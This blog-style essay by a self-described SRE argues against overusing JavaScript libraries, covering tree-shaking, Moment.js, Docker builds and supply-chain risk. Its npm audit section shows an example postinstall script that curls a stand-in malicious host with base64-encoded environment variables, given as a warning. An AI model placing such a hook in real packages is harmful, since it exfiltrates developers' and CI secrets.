10 Essential JavaScript Libraries for Modern Web Dev

Your node_modules is a Graveyard: An SRE’s Defense Against JavaScript Libraries

I once spent fourteen hours on a Saturday debugging a production outage that shouldn’t have existed. We were seeing a ReferenceError: _ is not defined in our frontend error tracking, but only for users on Safari 13. The culprit? A transitive dependency of a transitive dependency—a utility library we didn’t even know we were using—had decided to switch its export format from CommonJS to ESM in a “patch” release. Our build pipeline, a convoluted mess of Webpack 4 and Babel, didn’t catch the mismatch. The minifier just stripped the “unused” variable, and the site went dark for 15% of our traffic.

We were hemorrhaging $4,000 an hour in lost conversions. I didn’t fix it by writing code. I fixed it by nuking the package-lock.json, pinning the sub-dependency to a specific hash, and screaming into a pillow. That was the day I realized that javascript libraries aren’t just “tools.” They are liabilities. They are unvetted code written by strangers that you are effectively giving root access to your user’s browser and your company’s reputation. If you’re not treating every npm install like a potential security breach, you’re not doing your job.

The Documentation Lie: DX vs. Ops

Most documentation for javascript libraries is written for the “Happy Path.” It’s designed to get you to a “Hello World” in under sixty seconds. They show you a shiny import statement and a clean API. What they don’t show you is the 400MB of node_modules that come with it. They don’t mention the peerDependencies conflicts that will eventually break your CI/CD pipeline. They certainly don’t talk about the cold-start latency added to your AWS Lambda functions because your bundle size just tripled.

Developer Experience (DX) has become a proxy for “how fast can I ship this feature without thinking about the consequences.” As an SRE, I don’t care about your DX if it leads to an OOM-killed build agent. I care about the “Ops Reality.” I care about how many CVEs are hiding in that dependency tree. I care about whether that library supports AbortController so we can actually cancel hanging requests to api.stripe.com before they tie up the event loop. Most docs are silent on these fronts because “it just works” is a better marketing slogan than “it works until you have 10,000 concurrent users.”

Pro-tip: Before adding a library, run npm pack [package-name] --dry-run. If the unpacked size is larger than the logic you’re trying to implement, write the logic yourself. You don’t need a 20kb library to format a date.

The Dependency Tree is a Fractal of Failure

When you add one of the popular javascript libraries to your project, you aren’t just adding that library. You are inviting its entire social circle. Let’s look at the reality of a modern “lightweight” utility. You think you’re just getting a few helper functions. In reality, your pnpm-lock.yaml is about to explode.


# Checking the depth of a "simple" dependency
$ npm list --depth=10 | wc -l
1422

Fourteen hundred lines of dependencies. Each one of those is a point of failure. Each one is a potential “Left-pad” incident waiting to happen. We’ve seen this play out repeatedly. A maintainer gets burnt out, deletes their repo, and half the internet stops building. Or worse, a maintainer’s credentials are compromised, and a crypto-miner is injected into a “minor performance update.”

The problem is the lack of standard libraries in JavaScript. Because the language was historically thin, we’ve built a culture of importing everything. Need to check if a value is an array? There’s a library for that. Need to pad a string? Library. This is technical debt by design. We are building skyscrapers on top of sand dunes, and we act surprised when the wind blows and the 503 errors start rolling in.

The “Tree-Shaking” Myth

Marketing for javascript libraries loves to tout “Tree-shaking support.” The idea is simple: if you only use funcA from a library that has funcA through funcZ, the build tool will “shake off” the unused code. It sounds great. It’s almost always a lie in practice.

Tree-shaking relies on static analysis. If a library has any side effects—like modifying a global prototype or setting up a listener—the bundler (Webpack, Rollup, Esbuild) often plays it safe and includes the whole thing. Many older libraries, and even some new ones, are bundled in ways that make static analysis impossible. Consider this common pattern:


// The "Tree-shaking Killer" pattern
import { heavyUtility } from 'big-js-library';

const internalCache = {}; // Side effect!

export const myFunc = () => {
    return heavyUtility(internalCache);
};

Because internalCache is defined at the top level, the bundler can’t guarantee that importing this file won’t change the state of the application. So, it keeps it. All of it. I’ve seen “tree-shakable” libraries add 150kb to a bundle for a single function call. You’re better off copying the 15 lines of source code you actually need into a /utils folder. At least then, you own it.

  • Audit your imports: Use webpack-bundle-analyzer or vite-plugin-visualizer. If you see a giant block of “lodash” and you’re only using _.get, you’ve failed.
  • Check for ‘sideEffects: false’: Look at the package.json of the library you’re installing. If it doesn’t have this field, tree-shaking is likely a pipe dream.

Moment.js vs. The World: A Case Study in Zombie Libraries

Moment.js is the poster child for why javascript libraries stay in projects long after they should have been buried. It’s huge. It’s mutable (which is a nightmare for debugging). It’s officially in “maintenance mode.” Yet, I still see it in 70% of the PRs I review. Why? Because it’s what people know.

From an SRE perspective, Moment.js is a performance tax. It’s 280kb (minified + gzipped with locales). If your site has a 1MB budget, you just spent a quarter of it on a calendar. We switched a legacy service from Moment to date-fns and saw our Time to Interactive (TTI) drop by 1.2 seconds on mobile devices. That’s not a “micro-optimization.” That’s the difference between a user staying or bouncing.


// Stop doing this:
import moment from 'moment';
const date = moment().add(7, 'days').format('YYYY-MM-DD');

// Do this (Standard JS):
const date = new Date();
date.setDate(date.getDate() + 7);
const formatted = date.toISOString().split('T')[0];

// Or use a modern, modular library if you must:
import { addDays, format } from 'date-fns';
const formatted = format(addDays(new Date(), 7), 'yyyy-MM-dd');

The “Standard JS” approach has zero bytes of overhead. The date-fns approach is modular. If you only use addDays, you only pay for addDays. But even then, do you really need it? The Intl object in modern browsers handles almost everything Moment used to do, including relative time formatting and timezone conversions. Use the platform.

The Security Theater of ‘npm audit’

If you work in a regulated industry, you know the pain of npm audit. You run it, and it tells you that a sub-dependency of your testing framework has a “Moderate” vulnerability. You try to fix it with npm audit fix, and it breaks your build. You spend three hours trying to override a version in your lockfile, only to realize the vulnerability is a ReDoS (Regular Expression Denial of Service) that can only be triggered if you’re running the library on a server—and this is a frontend-only tool.

This is “Security Theater.” We spend so much time chasing these automated flags that we miss the real risks. The real risk isn’t a ReDoS in a dev-dependency. The real risk is the javascript libraries that have postinstall scripts. Did you know an NPM package can run arbitrary shell scripts on your machine when you install it?


// package.json
"scripts": {
  "postinstall": "curl -s http://malicious-actor.com/collect?env=$(env | base64)"
}

I’ve seen this in the wild. An attacker takes over a small, useful library, adds a postinstall script to exfiltrate environment variables (like your STRIPE_SECRET_KEY or AWS_ACCESS_KEY_ID), and publishes a new version. Your CI/CD pipeline dutifully pulls the latest version, and your secrets are gone.

Opinionated Stance: You should be running npm install --ignore-scripts by default. If a library *needs* a post-install script to compile a C++ binding (like node-sass, which you shouldn’t be using anyway), whitelist it. Don’t let your javascript libraries have free rein over your build environment.

The Dual Package Hazard

Here is a “Gotcha” that only hits you when you’re scaling. It’s called the Dual Package Hazard. As the ecosystem moves to ESM (ECMAScript Modules), many javascript libraries provide both CJS and ESM versions. If you’re not careful, your bundler might pull in *both* versions.

This isn’t just a size issue. It’s a state issue. If a library maintains an internal singleton or a cache, and you have two versions of that library in your bundle, you now have two separate caches. I once saw a bug where a “Feature Flag” library was initialized in the CJS entry point, but the React components were pulling from the ESM entry point. The flags were always “off” in the UI, even though the logs showed they were “on.” We spent two days chasing a ghost in the backend before realizing the frontend was just schizophrenic.


// Check your bundle for duplicates
npx npm-remote-ls some-library
# Or use a tool like 'dupes' to find multiple versions of the same package

The SRE’s Build Pipeline: Docker and the Layer Cake

We need to talk about how javascript libraries interact with Docker. If you’re doing it wrong, your “small” change to a utility function is resulting in a 1GB image upload every single time.

Most people do this in their Dockerfile:


FROM node:20-slim
COPY . .
RUN npm install
RUN npm run build

This is a disaster. Every time you change a single line of code, the COPY . . layer invalidates, and npm install runs from scratch. You’re downloading the entire internet on every build. Instead, leverage Docker’s layer caching. Copy only the package.json and package-lock.json first.


FROM node:20-slim
WORKDIR /app
# Copy lockfiles first to cache the 'npm install' layer
COPY package.json package-lock.json ./
RUN npm ci --only=production
# Now copy the rest of the source
COPY . .
RUN npm run build

By using npm ci instead of npm install, you ensure a deterministic build based exactly on your lockfile. It’s faster, it’s safer, and it won’t randomly update your javascript libraries because a maintainer pushed a broken version five minutes ago. Also, use node:20-slim. The standard node:20 image is bloated with build tools you don’t need in production. If you need to compile something, do it in a multi-stage build and copy the artifacts over.

The “Zero-Dependency” Movement

I’ve reached a point in my career where “Zero Dependencies” is a major selling point for me. When I see a library that does one thing well and has zero entries in its dependencies object, I feel a sense of peace. It means the author took the time to understand the problem rather than just gluing together other people’s solutions.

Look at Zustand vs Redux. Redux is a powerhouse, but it comes with a philosophy and a footprint. Zustand is tiny. Or better yet, look at the native URL and URLSearchParams APIs. For years, we used the qs or query-string libraries. Now? It’s built into the browser and Node.js.


// Why use a library for this?
// const params = queryString.parse(location.search);

// When you can do this:
const params = Object.fromEntries(new URLSearchParams(window.location.search));

Every line of code you don’t write is a line of code you don’t have to debug. Every library you don’t import is a vulnerability you don’t have to patch. The most senior engineers I know aren’t the ones who know the most javascript libraries; they are the ones who know which ones to avoid.

The Real World: Peer Dependency Hell

You’re trying to upgrade React from 17 to 18. You run the command, and suddenly, your terminal is a sea of red. npm ERR! ERESOLVE could not resolve dependency conflict. This is the peerDependencies nightmare.

Library A requires React 17. Library B (which hasn’t been updated in two years) also requires React 17. You want React 18. You can try --force or --legacy-peer-deps, but you’re just kicking the can down the road. Eventually, you’ll hit a runtime error because Library B tries to use a React internal that was removed in version 18.

This is why I argue that “Debian-slim” is better than “Alpine” for Node.js environments. People choose Alpine because it’s small. But Alpine uses musl instead of glibc. Many javascript libraries that have native C++ components (like sharp for image processing or bcrypt) expect glibc. You end up spending more time fixing build errors on Alpine than you saved in image size. Use debian-slim. It’s 30MB larger, but it actually works with the ecosystem.

Performance: The Parsing Tax

We talk a lot about download size, but we rarely talk about parsing and execution time. JavaScript is not like an image. An image is decoded and sent to the GPU. JavaScript has to be parsed, compiled, and executed by the CPU.

On a low-end Android device (the kind most of the world actually uses), 1MB of JavaScript can take 5-10 seconds just to parse. During that time, the main thread is blocked. The UI is frozen. The user is clicking “Buy Now” and nothing is happening. This is the hidden cost of javascript libraries. You might think that 50kb utility library is “small,” but if it’s one of fifty “small” libraries, you’ve just killed your mobile experience.

Note to self: Stop checking the bundle size on your M3 Max MacBook. Throttle your CPU to 6x slowdown in Chrome DevTools and see how that “smooth” library actually performs.

The Wrap-up

Stop treating javascript libraries like free building blocks. They are high-interest loans. You get a feature today, but you pay for it in maintenance, security audits, and bundle bloat forever. Before you run npm install, ask yourself: “Could I write this in 20 lines of vanilla JS?” If the answer is yes, do it. Your future self, your SRE team, and your users’ data plans will thank you. Don’t be a library collector; be a software engineer.

The best library is the one you didn’t install.

Related Articles

Explore more insights and best practices:

Leave a Comment